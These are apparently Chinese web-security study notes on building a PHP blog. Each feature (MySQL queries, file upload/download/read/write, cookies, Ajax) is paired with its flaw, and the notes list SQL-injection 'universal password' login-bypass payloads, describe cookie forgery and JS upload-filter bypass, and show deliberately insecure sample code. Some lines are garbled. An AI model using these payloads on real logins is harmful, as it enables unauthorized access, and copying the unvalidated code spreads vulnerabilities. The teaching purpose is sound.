您现在的位置是:首页 > 技术教程 正文

PHP&小迪学习笔记

admin 阅读: 2024-03-18
后台-插件-广告管理-内容页头部广告(手机)

PHP开发

    • PHP开发
      • 个人博客项目-数据库操作-数据库接受
        • 开发环境
        • PHP操作MySQL
        • PHP 中GET、POST、REQUEST用法
      • 个人博客项目-文件操作类-编辑器-上传下载删除读写
        • 知识点
        • 文件上传
          • HTML上传表单(上传文件)
          • PHP_FILES函数
          • move_uploaded_file() 函数
          • 编辑器编写代码(ueditor)
          • thinkphp框架
        • 文件下载
          • 直接下载
          • 传参下载
          • 总结
        • 文件删除
        • 文件夹删除
        • 文件读取
        • 文件写入
      • 个人博客项目&输入&输出&留言板&访问IP
        • 知识点
      • 个人博客项目&登陆验证&Cookie&Session&验证码安全
        • 知识点
          • 登陆模块流程
          • cookie验证
          • 万能密码
      • 个人博客项目&JS-Ajax&前端逻辑&购物&上传
        • 知识点
          • 1.文件上传 - 类型 - 过滤
          • 2.状态回显- 登陆 - 状态码

PHP开发

个人博客项目-数据库操作-数据库接受

开发环境

DW + PHPStorm + PhpStudy + Navicat Premium

DW : HTML&JS&CSS开发(Dreamweaver) PHPStorm : 专业PHP开发IDE PhpStudy :Apache MYSQL环境 Navicat Premium: 全能数据库管理工具
  • 1
  • 2
  • 3
  • 4

HTML横向导航 超链接设置

PHP操作MySQL

1.连接数据库

mysqli_connect()函数 填写连接数据库的账号密码

$conn=mysqli_connect('127.0.0.1','root','root');//连接数据库,返回连接的对象
  • 1

2.选择数据库

mysqli_select_db()函数,第一个参数是你之前的连接返回的对象,第二个参数是你的数据库

mysqli_select_db($conn,'ceshi');//选择数据库
  • 1

3.设置字符集

mysqli_set_charset()函数

mysqli_set_charset($conn,'utf-8'); //设置字符集
  • 1

4.执行查询语句

直接给一个查询语句字符串

这个是定义SQL语句

$sql='select * from test'; //查询语句
  • 1

mysqli_query()

执行SQL语句

$result=mysqli_query($conn,$sql); //在$conn这个数据库执行$sql查询语句
  • 1

5.关闭数据库

使用完以后一定要关闭数据库

mysqli_close($conn); //关闭数据库
  • 1

Whlie( o b j = m y s q l f e t c h o b j e c t ( obj = mysql_fetch_object( obj=mysqlfetchobject(result)){

​ echo $row[‘id’];

​ echo $row[‘content’];

}

Php里面可以插入HTML代码,HTML里面可以插入PHP代码 PHP中有变量就用双引号,双引号不会解析变量
  • 1
  • 2

为了避免麻烦,出现了数据库配置文件。

源码泄露会导致数据库配置文件泄露,就表示账号密码被泄露。数据泄露,管理员账号泄露。

用include来包含

比如: include("/config/conn.php");
  • 1
  • 2
PHP 中GET、POST、REQUEST用法
GET方法:GET方法用于从URL中获取参数。通过GET方法发送的参数会附加在URL后面,形成类似于example.com/page.php?param1=value1¶m2=value2的形式。在PHP中,通过$_GET超全局变量可以获取这些参数的值。例如,如果想获取名为id的参数的值,可以使用$_GET['id']来获取。 $i = $_get[id]; echo $i;
  • 1
  • 2
  • 3

POST方法

POST方法:POST方法用于通过HTTP请求体发送参数。与GET方法不同,POST方法将参数放在请求体中,而不是URL上。 在PHP中,可以通过$_POST超全局变量来获取通过POST方法发送的参数的值。例如,如果想获取名为param1的参数的值,可以使用$_POST['param1']来获取。
  • 1
  • 2

REQUEST方法

REQUEST方法:REQUEST是一个包含了GET、POST和COOKIE参数的超全局变量。它可以用于获取通过GET和POST方法发送的参数,以及通过COOKIE设置的参数。在PHP中,可以通过$_REQUEST超全局变量来获取这些参数的值。例如,如果想获取名为param1的参数的值,可以使用$_REQUEST['param1']来获取。
  • 1

需要注意的是,使用GET方法传递的参数会显示在URL上,因此不适合传递敏感信息。而POST方法将参数放在请求体中,更适合传递敏感信息。选择使用哪种方法取决于具体的需求和安全性考虑。

项目一:个人博客

文章阅读 sql注入

会员中心

模板引入

留言板 xss

后台

登陆验证 csrf 弱密码 无验证码 验证绕过

文章添加 配置修改

个人博客项目-文件操作类-编辑器-上传下载删除读写

知识点

1、文件操作类代码编写
2、文件上传&下载&删除3、文件内容&读取&写入
4、第三方编辑器引用实例

文件操作&上传&下载&删除&读取&写入

文件上传类 1.自写代码验证上传 //验证核心在代码 2.引用外部编辑器实现 //验证核心在编辑器 3.引用开发框架实现 //验证核心在框架
  • 1
  • 2
  • 3
  • 4
文件上传类:-任意文件上传 1、代码自主写 HTML上传表单 2、编辑器引用 (编辑器编写代码) #文件下载类:-任意文件下载 1、直连URL访问 2、传参头部修改 #文件删除类-任意文件删除 1、文件删除 2、文件夹删除 文件内容操作类-任意文件读取&写入 1文件读取 2、文件写入
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
文件上传
HTML上传表单(上传文件)

先构造一个html的上传页面

文件上传

action:是提交给谁处理,写upload.php的话就交由upload.php处理,为空就是自己处理

PHP_FILES函数
<?php //获取文件的名字 $name=$_FILES['upload']['name']; //获取文件的类型 $type=$_FILES['upload']['type']; //获取文件的大小 $size=$_FILES['upload']['size']; //获取上传文件的错误代码 $error=$_FILES['upload']['error']; //获取上传文件的临时文件名 $tmpname=$_FILES['upload']['tmp_name']; echo $name."
"; echo $type."
"; echo $size."
"; echo $error."
"; echo $tmpname."
";
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
move_uploaded_file() 函数

语法

move_uploaded_file(file,newloc)

file必须。规定要移动的文件
newloc必需,规定文件的新位置

文件上传

if(!move_uploaded_file($tmpname,'upload/'.$name)){ echo '文件移动失败'; } else{ echo '文件上传成功'; echo '/upload/'.$name; }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
image-20231226112447213
编辑器编写代码(ueditor)
thinkphp框架
在分析漏洞时,要考虑他的源码是框架或者编辑器写入的,还是自己编写的
  • 1
文件下载
直接下载

http://www.xiaodi8.com/soft/ 软件.zip

getchwd() 函数返回当前工作目录 scandir() 函数返回指定目录中的文件和目录的数组
  • 1
  • 2

文件下载加php数组取值

<?php //获取可以下载的文件列表 function getfilename(){ //定义一个函数,将文件名拿出来 $filepath=getcwd(); //获取到当前路径 //var_dump($filepath); $filename=scandir($filepath.'/soft/'); //把当前路径下的soft文件夹下的东西都显示出来 //var_dump($filename); foreach($filename as $key =>$value){ if(is_array($value)){ getValue($value); } else{ echo $value."
"; } } } //直接下载函数 function geturldown(){ $url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; echo $url; } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
传参下载

http://www.xiaodi8.com/soft/down.php?filename=软件.zip

总结
直连下载更安全 传参下载后面的参数可以更改,能直接获取源码
  • 1
  • 2
文件删除
文件夹删除
文件读取
function fileread($name){ $myfile = fopen($name, mode: "r"); echo fread($myfile,filesize($name)); fclose($myfile); }
  • 1
  • 2
  • 3
  • 4
  • 5
文件写入
function filewrite($name,$txt){ $myfile = fopen($name,mode: "w+"); fwrite($myfile,$txt); fclose($myfile);
  • 1
  • 2
  • 3
  • 4

个人博客项目&输入&输出&留言板&访问IP

知识点

1.PHP全局变量 &_SERVER

PHP 有 9 个超全局变量 $_SERVER、$_GET、$_POST、$_REQUEST、$_COOKIE、$_SESSION、$_FILES、$_ENV、$GLOBALS
  • 1
  • 2

S E R V E R 是一个在 P H P 中预定义的全局变量,它包含了有关服务器和当前脚本的信息。 _SERVER是一个在PHP中预定义的全局变量,它包含了有关服务器和当前脚本的信息。 SERVER是一个在PHP中预定义的全局变量,它包含了有关服务器和当前脚本的信息。_SERVER数组中的每个元素都是服务器环境的一个参数,如请求的方法、请求的URI、客户端IP地址等。

以下是$_SERVER数组中一些常用的元素及其含义:

  1. $_SERVER[‘HTTP_ACCEPT_LANGUAGE’]:浏览器语言
  2. $_SERVER[‘REMOTE_ADDR’]:客户端IP地址
  3. $_SERVER[‘PHP_SELF’]:正在执行脚本的文件名
  4. $_SERVER[‘argv’]:传递给该脚本的参数
  5. $_SERVER[‘argc’]:传递给该脚本的参数个数
  6. $_SERVER[‘HTTP_USER_AGENT’] :返回用户使用的浏览器信息
  7. $SERVER[‘SERVER_NAME’] 当前运行脚本所在服务器主机的名称
  8. $SERVER[‘REQUEST_METHOD’] 访问页面时的请求方法。例如:GET、HEAD,POST

你可以使用$_SERVER数组来获取这些信息,例如:

$language = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $ip = $_SERVER['REMOTE_ADDR']; $file = $_SERVER['PHP_SELF']; $arguments = $_SERVER['argv']; $argumentCount = $_SERVER['argc'];
  • 1
  • 2
  • 3
  • 4
  • 5

这样就可以获取到相应的信息了。

控制user-agent,利用JS语句实现弹窗。

  • HTTP-REFERER伪造来源

u a = ua= ua=_SERVER[‘HTTP_REFERER’]

​ 查看代码有没有检测来源,如果没有,容易引发CSRF攻击。

  • 伪造IP

2.MYSQL-插入语法INSERT

3.输入输出-XSS&反射&存储

接受值,对值进行输出,评论区,留言区,私信都有可能存在。

4.安全问题-XSS跨站&CSRF等

个人博客项目&登陆验证&Cookie&Session&验证码安全

知识点

1.后台验证-登陆用户逻辑安全

2.后台验证-COOKIE&SESSION

3.后台验证-验证码&万能密码等

登陆模块流程

1.发送登陆请求 账号 密码

2.接受账号密码

3.判断账号密码的准确性

正确 成功登陆->跳转成功页面

错误 失败登陆-> 重新登陆

后台管理系统有多个文件页面,为了方便验证,一般会选用cookie或session进行验证。

cookie:身份验证 存储到客户端浏览器内(可能被盗取) cookie安全:cookie修改 伪造 盗取 session:身份验证 存储到服务端服务器内,登陆一次,产生一次 session安全:会话劫持 (session劫持)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
cookie验证

先验证登陆,才进行代码的操作

u s e r = user= user=_COOKIE[‘user’];

if($user != ‘’){

​ echo ‘这里就是后台’

}else{

​ echo ‘不能进入’

}

基础验证:只验证cookpie里面的user是不是为空,利用BP抓包,修改cookie,比如user=1.即可登陆。成功以后会设置登陆信息并记住天数。 setcookie 安全隐患:COOKIE伪造
  • 1
  • 2
  • 3
万能密码
where username = '' or 1=1 ' or 1=1# 数值型万能账号 a or true # a or 1 # a or 1=1 # a or true – a a or 1 – a a or 1=1 – a 单引号字符型万能密码 a’ or true # a’ or 1 # a’ or 1=1 # a’ or true --a a’ or 1 – a a’ or 1=1 – a 双引号字符型万能密码 a" or true # a" or 1 # a" or 1=1 # a" or true – a a" or 1 – a a" or 1=1 – a 万能账号的使用 账号输入: a or true # 密码随便输入,比如:123456 数 admin # admin – a 单引号字符串型万能密码 admin’ # admin’ – a 双引号字符串型万能密码 admin” # dmin" – a 万能密码的使用 用户名输入: admin’ # 密码随便输入,比如: 123456
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56

个人博客项目&JS-Ajax&前端逻辑&购物&上传

知识点
1.JS前端验证-文件上传 2.JS-Ajax传递-登录-状态 3.JS-AJax传递-购物-参数
  • 1
  • 2
  • 3
  • 4
  • 5
1.文件上传 - 类型 - 过滤

对文件上传的后缀名进行验证,符合要求的才能上传

这个功能的实现可以由Php或JS去实现

两种去验证的区别:

PHP验证的代码看不到 只能黑盒测试

JS验证的代码可以看到 白盒测试

如果用JS写前端上传代码,就可以直接绕过。
  • 1
让JS代码失效 1.火狐禁用JS (自行搜索教程),可以用此方法来上传过滤的文件后缀。
  • 1
  • 2
2.状态回显- 登陆 - 状态码
通过AJax传递数据进行用户登陆验证
  • 1

AJax是什么?交互性

Ajax 不是一种新的[编程语言],而是一种用于创建更好更快以及更强的Web应用程序的技术。Ajax 在浏览器与 Web 服务器之间使用异步数据传输HTTP 请求),这样就可使网页从服务器请求少量的信息,而不是整个页面
  • 1

JS AJax

流浪其请求-返回-读取返回数据-JS AJax代码进行解析(代码判断)->结果

inforcode = 1 成功

如果页面是用ajax写的,但是看不到,包含在了文件夹里面
  • 1

PHP

请求-返回->返回结果 (服务器不理会)

Do intercept -> Response to this request
  • 1
标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索
排行榜